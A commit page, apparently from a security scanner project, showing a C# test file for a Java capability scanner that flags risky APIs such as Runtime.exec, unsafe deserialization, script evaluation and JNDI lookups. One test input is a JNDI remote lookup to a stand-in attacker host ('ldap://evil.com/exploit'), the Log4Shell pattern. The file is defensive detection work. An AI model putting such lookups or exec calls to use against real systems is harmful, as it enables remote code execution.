feat: Implement Wine CSP HTTP provider for GOST cryptographic operations
Some checks failed
AOC Guard CI / aoc-guard (push) Has been cancelled
AOC Guard CI / aoc-verify (push) Has been cancelled
Docs CI / lint-and-preview (push) Has been cancelled
Scanner Analyzers / Discover Analyzers (push) Has been cancelled
Scanner Analyzers / Build Analyzers (push) Has been cancelled
Scanner Analyzers / Test Language Analyzers (push) Has been cancelled
Scanner Analyzers / Validate Test Fixtures (push) Has been cancelled
Scanner Analyzers / Verify Deterministic Output (push) Has been cancelled
Signals CI & Image / signals-ci (push) Has been cancelled

- Added WineCspHttpProvider class to interface with Wine-hosted CryptoPro CSP.
- Implemented ICryptoProvider, ICryptoProviderDiagnostics, and IDisposable interfaces.
- Introduced WineCspHttpSigner and WineCspHttpHasher for signing and hashing operations.
- Created WineCspProviderOptions for configuration settings including service URL and key options.
- Developed CryptoProGostSigningService to handle GOST signing operations and key management.
- Implemented HTTP service for the Wine CSP with endpoints for signing, verification, and hashing.
- Added Swagger documentation for API endpoints.
- Included health checks and error handling for service availability.
- Established DTOs for request and response models in the service.
This commit is contained in:
StellaOps Bot
2025-12-07 14:02:42 +02:00
parent 965cbf9574
commit bd2529502e
56 changed files with 9438 additions and 699 deletions

View File

@@ -0,0 +1,786 @@
using StellaOps.Scanner.Analyzers.Lang.Java.Internal.Capabilities;
namespace StellaOps.Scanner.Analyzers.Lang.Java.Tests.Internal;
/// <summary>
/// Tests for <see cref="JavaCapabilityScanner"/>.
/// </summary>
public sealed class JavaCapabilityScannerTests
{
private const string TestFile = "Test.java";
#region ScanFile - General Tests
[Fact]
public void ScanFile_NullContent_ReturnsEmpty()
{
var result = JavaCapabilityScanner.ScanFile(null!, TestFile).ToList();
Assert.Empty(result);
}
[Fact]
public void ScanFile_EmptyContent_ReturnsEmpty()
{
var result = JavaCapabilityScanner.ScanFile("", TestFile).ToList();
Assert.Empty(result);
}
[Fact]
public void ScanFile_WhitespaceContent_ReturnsEmpty()
{
var result = JavaCapabilityScanner.ScanFile(" \n\t\n ", TestFile).ToList();
Assert.Empty(result);
}
[Fact]
public void ScanFile_NoPatterns_ReturnsEmpty()
{
const string code = @"
public class Test {
public static void main(String[] args) {
System.out.println(""Hello"");
}
}";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Empty(result);
}
[Fact]
public void ScanFile_NormalizesBackslashesInPath()
{
const string code = @"Runtime.getRuntime().exec(""cmd"");";
var result = JavaCapabilityScanner.ScanFile(code, @"C:\src\Test.java").ToList();
Assert.Single(result);
Assert.Equal("C:/src/Test.java", result[0].SourceFile);
}
#endregion
#region ScanFile - Comment Stripping
[Fact]
public void ScanFile_IgnoresSingleLineComments()
{
const string code = @"
// Runtime.getRuntime().exec(""cmd"");
public void method() { }";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Empty(result);
}
[Fact]
public void ScanFile_IgnoresMultiLineComments()
{
const string code = @"
/*
Runtime.getRuntime().exec(""cmd"");
new ProcessBuilder(""ls"");
*/
public void method() { }";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Empty(result);
}
[Fact]
public void ScanFile_IgnoresJavadocComments()
{
const string code = @"
/**
* Runtime.getRuntime().exec(""cmd"");
*/
public void method() { }";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Empty(result);
}
#endregion
#region ScanFile - Exec Patterns
[Fact]
public void ScanFile_DetectsRuntimeExec()
{
const string code = @"Runtime.getRuntime().exec(""ls -la"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Exec, result[0].Kind);
Assert.Equal("Runtime.exec", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
Assert.Equal(1.0f, result[0].Confidence);
}
[Fact]
public void ScanFile_DetectsNewProcessBuilder()
{
const string code = @"ProcessBuilder pb = new ProcessBuilder(""ls"", ""-la"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Exec, result[0].Kind);
Assert.Equal("ProcessBuilder", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsProcessBuilderStart()
{
const string code = @"Process p = pb.start();";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Exec, result[0].Kind);
Assert.Equal("ProcessBuilder.start", result[0].Pattern);
}
#endregion
#region ScanFile - Filesystem Patterns
[Fact]
public void ScanFile_DetectsFileInputStream()
{
const string code = @"InputStream is = new FileInputStream(""file.txt"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Filesystem, result[0].Kind);
Assert.Equal("FileInputStream", result[0].Pattern);
Assert.Equal(CapabilityRisk.Medium, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsFileOutputStream()
{
const string code = @"OutputStream os = new FileOutputStream(""file.txt"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Filesystem, result[0].Kind);
Assert.Equal("FileOutputStream", result[0].Pattern);
Assert.Equal(CapabilityRisk.High, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsFilesRead()
{
const string code = @"byte[] data = Files.readAllBytes(path);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Filesystem, result[0].Kind);
Assert.Equal("Files.*", result[0].Pattern);
}
[Fact]
public void ScanFile_DetectsFileDelete()
{
const string code = @"file.delete();";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Filesystem, result[0].Kind);
Assert.Equal("File.delete", result[0].Pattern);
Assert.Equal(CapabilityRisk.High, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsFileSetExecutable()
{
const string code = @"file.setExecutable(true);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Filesystem, result[0].Kind);
Assert.Equal("File.setExecutable", result[0].Pattern);
Assert.Equal(CapabilityRisk.High, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsRandomAccessFile()
{
const string code = @"RandomAccessFile raf = new RandomAccessFile(""file.bin"", ""rw"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Filesystem, result[0].Kind);
Assert.Equal("RandomAccessFile", result[0].Pattern);
}
#endregion
#region ScanFile - Network Patterns
[Fact]
public void ScanFile_DetectsNewSocket()
{
const string code = @"Socket socket = new Socket(""localhost"", 8080);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Network, result[0].Kind);
Assert.Equal("Socket", result[0].Pattern);
Assert.Equal(CapabilityRisk.Medium, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsNewServerSocket()
{
const string code = @"ServerSocket ss = new ServerSocket(8080);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Network, result[0].Kind);
Assert.Equal("ServerSocket", result[0].Pattern);
}
[Fact]
public void ScanFile_DetectsUrlOpenConnection()
{
const string code = @"HttpURLConnection conn = (HttpURLConnection) url.openConnection();";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.True(result.Count >= 1);
Assert.Contains(result, r => r.Kind == CapabilityKind.Network);
}
[Fact]
public void ScanFile_DetectsHttpClientBuilder()
{
const string code = @"HttpClient client = HttpClient.newBuilder().build();";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Network, result[0].Kind);
Assert.Equal("HttpClient.newBuilder", result[0].Pattern);
}
#endregion
#region ScanFile - Environment Patterns
[Fact]
public void ScanFile_DetectsSystemGetenv()
{
const string code = @"String path = System.getenv(""PATH"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Environment, result[0].Kind);
Assert.Equal("System.getenv", result[0].Pattern);
Assert.Equal(CapabilityRisk.Medium, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsSystemGetProperty()
{
const string code = @"String home = System.getProperty(""user.home"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Environment, result[0].Kind);
Assert.Equal("System.getProperty", result[0].Pattern);
}
[Fact]
public void ScanFile_DetectsSystemSetProperty()
{
const string code = @"System.setProperty(""my.prop"", ""value"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Environment, result[0].Kind);
Assert.Equal("System.setProperty", result[0].Pattern);
Assert.Equal(CapabilityRisk.High, result[0].Risk);
}
#endregion
#region ScanFile - Serialization Patterns (Critical for deserialization attacks)
[Fact]
public void ScanFile_DetectsObjectInputStream()
{
const string code = @"ObjectInputStream ois = new ObjectInputStream(fis);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Serialization, result[0].Kind);
Assert.Equal("ObjectInputStream", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsReadObject()
{
const string code = @"Object obj = ois.readObject();";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Serialization, result[0].Kind);
Assert.Equal("readObject", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsXMLDecoder()
{
const string code = @"XMLDecoder decoder = new XMLDecoder(new FileInputStream(""data.xml""));";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.True(result.Count >= 1);
Assert.Contains(result, r => r.Pattern == "XMLDecoder" && r.Risk == CapabilityRisk.Critical);
}
[Fact]
public void ScanFile_DetectsXStream()
{
const string code = @"XStream xstream = new XStream();";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Serialization, result[0].Kind);
Assert.Equal("XStream", result[0].Pattern);
Assert.Equal(CapabilityRisk.High, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsXStreamFromXML()
{
const string code = @"Object obj = xstream.fromXML(xml);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Serialization, result[0].Kind);
Assert.Equal("XStream.fromXML", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsSnakeYamlLoad()
{
const string code = @"Object obj = yaml.load(input);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Serialization, result[0].Kind);
Assert.Equal("Yaml.load", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsJacksonEnableDefaultTyping()
{
const string code = @"mapper.enableDefaultTyping();";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Serialization, result[0].Kind);
Assert.Equal("Jackson defaultTyping", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
#endregion
#region ScanFile - Crypto Patterns
[Fact]
public void ScanFile_DetectsMessageDigest()
{
const string code = @"MessageDigest md = MessageDigest.getInstance(""SHA-256"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Crypto, result[0].Kind);
Assert.Equal("MessageDigest", result[0].Pattern);
Assert.Equal(CapabilityRisk.Low, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsCipher()
{
const string code = @"Cipher cipher = Cipher.getInstance(""AES/CBC/PKCS5Padding"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Crypto, result[0].Kind);
Assert.Equal("Cipher", result[0].Pattern);
}
[Fact]
public void ScanFile_DetectsWeakCryptoMD5()
{
const string code = @"MessageDigest md = MessageDigest.getInstance(""MD5"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.True(result.Count >= 1);
Assert.Contains(result, r => r.Pattern == "Weak crypto algorithm" && r.Risk == CapabilityRisk.High);
}
#endregion
#region ScanFile - Database Patterns
[Fact]
public void ScanFile_DetectsDriverManagerGetConnection()
{
const string code = @"Connection conn = DriverManager.getConnection(url);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Database, result[0].Kind);
Assert.Equal("DriverManager.getConnection", result[0].Pattern);
Assert.Equal(CapabilityRisk.Medium, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsExecuteQuery()
{
const string code = @"ResultSet rs = stmt.executeQuery(sql);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Database, result[0].Kind);
Assert.Equal("Statement.executeQuery", result[0].Pattern);
}
[Fact]
public void ScanFile_DetectsSqlStringConcatenation()
{
const string code = @"String sql = ""SELECT * FROM users WHERE id="" + userId;";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Database, result[0].Kind);
Assert.Contains("SQL", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsCreateNativeQuery()
{
const string code = @"Query q = em.createNativeQuery(""SELECT * FROM users"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Database, result[0].Kind);
Assert.Equal("Native SQL query", result[0].Pattern);
Assert.Equal(CapabilityRisk.High, result[0].Risk);
}
#endregion
#region ScanFile - Dynamic Code Patterns
[Fact]
public void ScanFile_DetectsScriptEngineManager()
{
const string code = @"ScriptEngine engine = new ScriptEngineManager().getEngineByName(""javascript"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.True(result.Count >= 1);
Assert.Contains(result, r => r.Kind == CapabilityKind.DynamicCode);
}
[Fact]
public void ScanFile_DetectsScriptEngineEval()
{
const string code = @"Object result = engine.eval(script);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.DynamicCode, result[0].Kind);
Assert.Equal("ScriptEngine.eval", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsSpelExpressionParser()
{
const string code = @"SpelExpressionParser parser = new SpelExpressionParser();";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.DynamicCode, result[0].Kind);
Assert.Equal("SpEL Parser", result[0].Pattern);
Assert.Equal(CapabilityRisk.High, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsOgnlGetValue()
{
const string code = @"Object value = Ognl.getValue(expression, context, root);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.DynamicCode, result[0].Kind);
Assert.Equal("OGNL.getValue", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsJavaCompiler()
{
const string code = @"JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.DynamicCode, result[0].Kind);
Assert.Equal("JavaCompiler", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
#endregion
#region ScanFile - Reflection Patterns
[Fact]
public void ScanFile_DetectsClassForName()
{
const string code = @"Class<?> clazz = Class.forName(""com.example.MyClass"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Reflection, result[0].Kind);
Assert.Equal("Class.forName", result[0].Pattern);
Assert.Equal(CapabilityRisk.High, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsMethodInvoke()
{
const string code = @"Object result = Method.invoke(obj, args);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Reflection, result[0].Kind);
Assert.Equal("Method.invoke", result[0].Pattern);
Assert.Equal(CapabilityRisk.High, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsSetAccessibleTrue()
{
const string code = @"method.setAccessible(true);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Reflection, result[0].Kind);
Assert.Equal("setAccessible(true)", result[0].Pattern);
Assert.Equal(CapabilityRisk.High, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsURLClassLoader()
{
const string code = @"URLClassLoader loader = new URLClassLoader(urls);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Reflection, result[0].Kind);
Assert.Equal("URLClassLoader", result[0].Pattern);
}
[Fact]
public void ScanFile_DetectsDefineClass()
{
const string code = @"Class<?> clazz = loader.defineClass(name, bytes, 0, bytes.length);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Reflection, result[0].Kind);
Assert.Equal("defineClass", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
#endregion
#region ScanFile - Native Code Patterns
[Fact]
public void ScanFile_DetectsSystemLoadLibrary()
{
const string code = @"System.loadLibrary(""mylib"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.NativeCode, result[0].Kind);
Assert.Equal("System.loadLibrary", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsSystemLoad()
{
const string code = @"System.load(""/path/to/libmylib.so"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.NativeCode, result[0].Kind);
Assert.Equal("System.load", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsNativeMethodDeclaration()
{
const string code = @"private native int doSomething(byte[] data);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.NativeCode, result[0].Kind);
Assert.Equal("native method", result[0].Pattern);
}
[Fact]
public void ScanFile_DetectsUnsafeGetUnsafe()
{
const string code = @"Unsafe unsafe = Unsafe.getUnsafe();";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.NativeCode, result[0].Kind);
Assert.Equal("Unsafe.getUnsafe", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsUnsafeAllocateInstance()
{
const string code = @"Object obj = unsafe.allocateInstance(clazz);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.NativeCode, result[0].Kind);
Assert.Equal("Unsafe.allocateInstance", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
#endregion
#region ScanFile - JNDI Patterns (Log4Shell attack vector)
[Fact]
public void ScanFile_DetectsInitialContext()
{
const string code = @"InitialContext ctx = new InitialContext();";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Other, result[0].Kind); // JNDI is categorized as Other
Assert.Equal("InitialContext", result[0].Pattern);
Assert.Equal(CapabilityRisk.High, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsInitialContextLookup()
{
const string code = @"Object obj = InitialContext.lookup(""java:comp/env/jdbc/mydb"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Other, result[0].Kind);
Assert.Equal("InitialContext.lookup", result[0].Pattern);
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
}
[Fact]
public void ScanFile_DetectsJndiRemoteLookup()
{
const string code = @"ctx.lookup(""ldap://evil.com/exploit"");";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.True(result.Count >= 1);
Assert.Contains(result, r => r.Pattern == "JNDI remote lookup" && r.Risk == CapabilityRisk.Critical);
}
[Fact]
public void ScanFile_DetectsInitialLdapContext()
{
const string code = @"LdapContext ctx = new InitialLdapContext(env, null);";
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
Assert.Single(result);
Assert.Equal(CapabilityKind.Other, result[0].Kind);
Assert.Equal("InitialLdapContext", result[0].Pattern);
}
#endregion
#region JavaCapabilityEvidence Tests
[Fact]
public void Evidence_DeduplicationKey_IsCorrect()
{
var evidence = new JavaCapabilityEvidence(
CapabilityKind.Exec,
"Test.java",
10,
"Runtime.exec");
Assert.Equal("Exec|Test.java|10|Runtime.exec", evidence.DeduplicationKey);
}
[Fact]
public void Evidence_ConfidenceIsClamped()
{
var evidence1 = new JavaCapabilityEvidence(
CapabilityKind.Exec, "Test.java", 1, "pattern",
confidence: 2.0f);
var evidence2 = new JavaCapabilityEvidence(
CapabilityKind.Exec, "Test.java", 1, "pattern",
confidence: -1.0f);
Assert.Equal(1.0f, evidence1.Confidence);
Assert.Equal(0.0f, evidence2.Confidence);
}
[Fact]
public void Evidence_CreateMetadata_IncludesAllFields()
{
var evidence = new JavaCapabilityEvidence(
CapabilityKind.Exec,
"Test.java",
10,
"Runtime.exec",
snippet: "Runtime.getRuntime().exec(cmd);",
confidence: 0.95f,
risk: CapabilityRisk.Critical);
var metadata = evidence.CreateMetadata().ToDictionary(kv => kv.Key, kv => kv.Value);
Assert.Equal("exec", metadata["capability.kind"]);
Assert.Equal("Test.java:10", metadata["capability.source"]);
Assert.Equal("Runtime.exec", metadata["capability.pattern"]);
Assert.Equal("critical", metadata["capability.risk"]);
Assert.Equal("0.95", metadata["capability.confidence"]);
Assert.Contains("Runtime.getRuntime()", metadata["capability.snippet"]);
}
[Fact]
public void Evidence_ToLanguageEvidence_ReturnsCorrectFormat()
{
var evidence = new JavaCapabilityEvidence(
CapabilityKind.Exec,
"Test.java",
10,
"Runtime.exec");
var langEvidence = evidence.ToLanguageEvidence();
Assert.Equal(LanguageEvidenceKind.Metadata, langEvidence.Kind);
Assert.Equal("Test.java", langEvidence.Source);
Assert.Equal("line:10", langEvidence.Locator);
Assert.Equal("Exec:Runtime.exec", langEvidence.Value);
}
#endregion
}